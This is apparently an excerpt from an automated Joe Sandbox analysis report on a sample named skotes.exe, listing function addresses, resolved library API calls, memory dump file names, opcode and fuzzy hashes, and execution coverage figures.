Function 00BBD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00BBA813,00000001,00000364,00000006,000000FF,?,00BBEE3F,?,00000004,00000000,?,?), ref: 00BBD870

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6eb750a579d91d073ea78af390e4bc17187c6d59baf99005634b16deda9d9e4b
Instruction ID: c513f3dc025f75e4ff6671895233da32ff5b84fc2294daf7b9ee6102af7a91ab
Opcode Fuzzy Hash: 6eb750a579d91d073ea78af390e4bc17187c6d59baf99005634b16deda9d9e4b
Instruction Fuzzy Hash: 30F02E3264512467EB312A72DC01AFB37D9DF81771B1480E1FD04AB191FEE8EC0086E0

Non-executed Functions

Function 00B82EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B82F5F
__Mtx_unlock.LIBCPMT ref: 00B82FCC
__Cnd_broadcast.LIBCPMT ref: 00B82FE3
__Mtx_unlock.LIBCPMT ref: 00B830F5
__Mtx_unlock.LIBCPMT ref: 00B8319B

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: ba02cf42efdb50bba720da3dcc3c5198f820d3355a3b35de5daa03d6310dce39
Instruction ID: 479942cec0709f1bc4d82de2cc2f664afcf6444646442ed74ecc6295583c01ea
Opcode Fuzzy Hash: ba02cf42efdb50bba720da3dcc3c5198f820d3355a3b35de5daa03d6310dce39
Instruction Fuzzy Hash: 9EA1C1B0A052059FDF11EF65C948B5ABBF8FF15B10F0481BAE815D72A1EB35EA04CB91

Function 00BBCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BBCC66

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 5f3d30ab04bd70401d27262421f5984d25a5ca766789051c56856d9e2c24de20
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 2DB1F2329046469FDB15CF28C881BFEBFE5EF55340F1481EAE855EB242D6B49D01CBA0

Function 00B9BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B9BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BBE4
_xtime_get.LIBCPMT ref: 00B9BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BC13

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction ID: 592f2f7214de587e357e006ea6b28f9e90db438ae3c0b7f788d8437b7c4a2a1a
Opcode Fuzzy Hash: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction Fuzzy Hash: E3213175A01119AFDF00EFA4DD81EBEBBB9EF08710F1000A5F501B7291DB309D059BA0

Analysis Process: skotes.exePID: 4876, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	592
Total number of Limit Nodes:	4

Executed Functions

Function 00BB652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00BB652A,?,?,?,?,?,00BB7661), ref: 00BB6567

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: f18ea144acfd6876bd55ecf4e68d0d05d34c13c8292718e55e7f5fa430e6a02a
